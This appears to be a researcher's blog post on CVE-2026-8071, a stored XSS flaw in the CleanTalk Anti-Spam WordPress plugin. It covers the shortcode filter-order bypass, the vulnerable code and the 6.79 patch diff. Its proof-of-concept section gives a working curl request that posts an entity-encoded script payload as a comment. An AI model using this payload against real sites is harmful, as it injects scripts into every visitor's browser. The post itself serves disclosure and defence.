CleanTalk Anti-Spam. Spam Firewall & Bot protection WordPress plugin banner

CVE-2026-8071: CleanTalk Anti-Spam Unauthenticated Stored XSS (CVSS 7.2)

Updated 7 min read

CVE-2026-8071 is a CVSS 7.2 High Unauthenticated Stored Cross-Site Scripting vulnerability in the CleanTalk Anti-Spam. Spam Firewall & Bot protection WordPress plugin. An unauthenticated attacker can inject malicious scripts into pages by exploiting a shortcode bypass in the plugin’s email encoder. Those scripts execute in the browser of any visitor who loads an affected page.

Vulnerability Summary

FieldValue
Plugin NameCleanTalk Anti-Spam. Spam Firewall & Bot protection
Plugin Slugcleantalk-spam-protect
CVE IDCVE-2026-8071
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeUnauthenticated Stored Cross-Site Scripting
Affected Versions<= 6.78
Patched Version6.79
PublishedJune 11, 2026
Researcherstealthcopter
Wordfence AdvisoryLink

Description

The CleanTalk Anti-Spam plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 6.78. The flaw is in the plugin’s Contact Data Encoding (email encoder) feature. Insufficient input sanitization and missing output escaping on the [apbct_encode_data] shortcode allow unauthenticated attackers to inject arbitrary web scripts. Those scripts execute whenever a user accesses an injected page.

Technical Analysis

How the Email Encoder Works

CleanTalk’s email encoder protects email addresses and phone numbers from being harvested by bots. The feature hooks into WordPress’s comment_text filter (and other display hooks) to process content before it reaches the browser.

The encoder registers three filter callbacks on each hook:

PriorityCallbackPurpose
9EncodeContentSC::changeContentBeforeEncoderModify()Extracts [apbct_encode_data] shortcodes, replaces with placeholders
10ContactsEncoder::modifyContent()Encodes email addresses and phone numbers
999EncodeContentSC::changeContentAfterEncoderModify()Restores shortcodes, runs do_shortcode()

WordPress also applies its own comment_text filters at various priorities: make_clickable (9), wptexturize (10), convert_chars (20), force_balance_tags (25), and wpautop (30).

The Vulnerable Code

The problem is in lib/Cleantalk/ApbctWP/ContactsEncoder/Shortcodes/EncodeContentSC.php, inside changeContentBeforeEncoderModify() (version 6.78):

// VULNERABLE - v6.78
$shortcode_exist_pattern = sprintf('/\[%s\](.*?)\[\/%s\]/s', $this->public_name, $this->public_name);
$content = preg_replace_callback($shortcode_exist_pattern, function ($matches) {
    $placeholder = preg_replace('/EE\_\d+/', 'EE_' . (string)$this->shortcode_counter++, $this->exclusion_wrapper);
    if (is_null($placeholder)) {
        $placeholder = $this->exclusion_wrapper;
    }
    if (isset($matches[0])) {
        // Stores full shortcode including inner content — NO SANITIZATION
        $this->shortcode_replacements[$placeholder] = $matches[0];
    }

    return $placeholder;
}, $content);

The inner content of [apbct_encode_data]...[/apbct_encode_data] is stored in $shortcode_replacements without any sanitization. At priority 999, changeContentAfterEncoderModify() restores the stored value directly into the output:

foreach ($this->shortcode_replacements as $placeholder => $original) {
    $content = str_replace($placeholder, $original, $content);
}
return $this->doCallbackAction($content);

doCallbackAction() calls do_shortcode(), which invokes callback() on the inner content. The callback passes it through modifyShortcodeContent(). Non-email parts go through modifyAny()encodeAny()constructEncodedSpan():

private function constructEncodedSpan($encoded_string, $obfuscated_string)
{
    return "<span 
            data-original-string='" . $encoded_string . "'
            class='apbct-email-encoder'
            title='" . htmlspecialchars($this->getTooltip(), ENT_QUOTES, 'UTF-8') . "'>" . $obfuscated_string . "</span>";
}

The $obfuscated_string is placed inside the span without HTML escaping. Obfuscator::processString() exposes the first and last two raw characters of the input:

const STRING_CHARS_TO_SHOW = 2;

public function processString($string)
{
    $length = strlen($string);
    $first_part = substr($string, 0, static::STRING_CHARS_TO_SHOW);
    $last_part = substr($string, $length - static::STRING_CHARS_TO_SHOW, static::STRING_CHARS_TO_SHOW);
    $middle_part = str_pad('', $length - static::STRING_CHARS_TO_SHOW * 2, '*');
    return $first_part . $middle_part . $last_part;
}

If the input string begins with < or ends with >, those characters appear raw in the HTML output and are interpreted by the browser as markup.

The Shortcode Bypass

The [apbct_encode_data] tag uses square brackets, not HTML angle brackets. WordPress’s wp_kses() comment sanitization strips HTML tags but preserves square-bracket shortcode syntax. A comment containing [apbct_encode_data]PAYLOAD[/apbct_encode_data] passes through kses with the shortcode brackets intact.

When the comment is displayed through comment_text, the filter hook execution order is:

  1. Priority 9 — CleanTalk extracts the shortcode and stores it raw. The rest of the content becomes a placeholder string.
  2. Priority 10–30 — WordPress runs wptexturize, convert_chars, force_balance_tags, and wpautop on the placeholder text. The shortcode content is not touched.
  3. Priority 999 — CleanTalk restores the original, unsanitized shortcode content and calls do_shortcode().

Because the shortcode inner content is extracted before all WordPress display security filters and re-inserted after all of them, it bypasses the standard WordPress content security pipeline entirely.

Proof of Concept

Disclaimer: This proof of concept is provided for educational and defensive security research only. Test only on systems you own or have explicit written permission to test.

Prerequisites: CleanTalk Anti-Spam ≤ 6.78, with the Contact Data Encoding (email encoder) feature enabled. WordPress must allow visitor comments on at least one post.

Step 1: Submit a comment with the malicious shortcode

WordPress kses strips HTML tags from comment content at submission time. However, HTML entities (&lt;, &gt;) are preserved because they are not HTML tags. The attacker uses entity-encoded HTML as the payload:

TARGET="http://security.test"
POST_ID=1

curl -s -X POST "${TARGET}/wp-comments-post.php" \
  --data-urlencode 'comment=[apbct_encode_data]&lt;script&gt;alert(document.domain)&lt;/script&gt;[/apbct_encode_data]' \
  -d "author=Attacker" \
  -d "email=attacker@example.com" \
  -d "comment_post_ID=${POST_ID}" \
  -d "comment_parent=0" \
  -d "submit=Post+Comment" \
  -L -o /dev/null -w "HTTP status: %{http_code}\n"

The comment is stored in the database with the entity-encoded payload intact inside the shortcode.

Step 2: Trigger the XSS

Visit the post page where the comment was submitted.

When WordPress renders the comment, the comment_text filter fires. CleanTalk’s encoder extracts the shortcode at priority 9 before wptexturize and force_balance_tags can process it. At priority 999, the raw entity-encoded string is passed to constructEncodedSpan() and inserted directly into the <span> inner content without escaping.

The browser decodes the HTML entities in the span’s innerHTML context and executes alert(document.domain).

Step 3: Verify

Expected result: An alert box shows the site’s domain. Any visitor who loads the page after the comment is stored triggers the same payload — the XSS is persistent (stored).

Patch Analysis

Version 6.79 introduces two independent fixes in changeContentBeforeEncoderModify().

Fix 1: Sanitize the inner shortcode content

-if (isset($matches[0])) {
-    $this->shortcode_replacements[$placeholder] = $matches[0];
-}
+if (isset($matches[1], $matches[2], $matches[3])) {
+    $prefix = $matches[1];
+    $entity = $matches[2];
+    $suffix = $matches[3];
+    $entity = Escape::escKsesPost($entity);
+    $this->shortcode_replacements[$placeholder] = $prefix . $entity . $suffix;
+}

The inner content ($entity) is now passed through wp_kses_post() before storage. This strips <script> tags, event handler attributes (onerror, onload, onclick, etc.), and other dangerous HTML. Safe formatting tags like <b> and <em> are preserved. The entity-encoded payload &lt;script&gt;...&lt;/script&gt; is also sanitized because wp_kses_post decodes entities before evaluating them.

The regex pattern also changes to capture prefix, entity, and suffix as separate groups, and adds support for shortcode attributes:

-$shortcode_exist_pattern = sprintf('/\[%s\](.*?)\[\/%s\]/s', $this->public_name, $this->public_name);
+$shortcode_exist_pattern = sprintf('/(\[%s(?:\s[^\]]*)?\])([\s\S]*?)(\[\/%s\])/s', $this->public_name, $this->public_name);

Fix 2: Block shortcodes inside HTML attributes

if ($this->isShortcodeInsideHtmlTag($content)) {
    return $content;
}

A new isShortcodeInsideHtmlTag() method detects when a shortcode boundary falls inside an HTML attribute. If it does, the extraction step is skipped entirely.

This prevents a mutation-XSS attack where a shortcode placed inside an HTML attribute — for example, <a title="[apbct_encode_data]...[/apbct_encode_data]"> — could cause attribute injection after WordPress text filters like wptexturize() mutate the surrounding markup.

public function isOffsetInsideHtmlTag($content, $offset)
{
    $before = substr($content, 0, $offset);
    $last_open  = strrpos($before, '<');
    $last_close = strrpos($before, '>');

    return $last_open !== false &&
        ($last_close === false || $last_open > $last_close);
}

The method checks whether the last < before the shortcode appears after the last >. If so, the offset is inside an open HTML tag.

Timeline

DateEvent
June 11, 2026Vulnerability publicly disclosed by Wordfence
June 15, 2026Advisory last updated
June 17, 2026This blog post published

Remediation

Update the CleanTalk Anti-Spam plugin to version 6.79 or later immediately.

If you cannot update right now, disable the Contact Data Encoding (email encoder) feature in the plugin settings. This removes the vulnerable code path while you prepare the upgrade.

To update from the WordPress admin dashboard: go to Plugins → Installed Plugins, find CleanTalk Anti-Spam, and click Update Now.

References

  1. Wordfence Advisory — CVE-2026-8071
  2. Patchstack Advisory
  3. WordPress.org Plugin Changelog (Trac)
  4. CVE Record — CVE-2026-8071
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee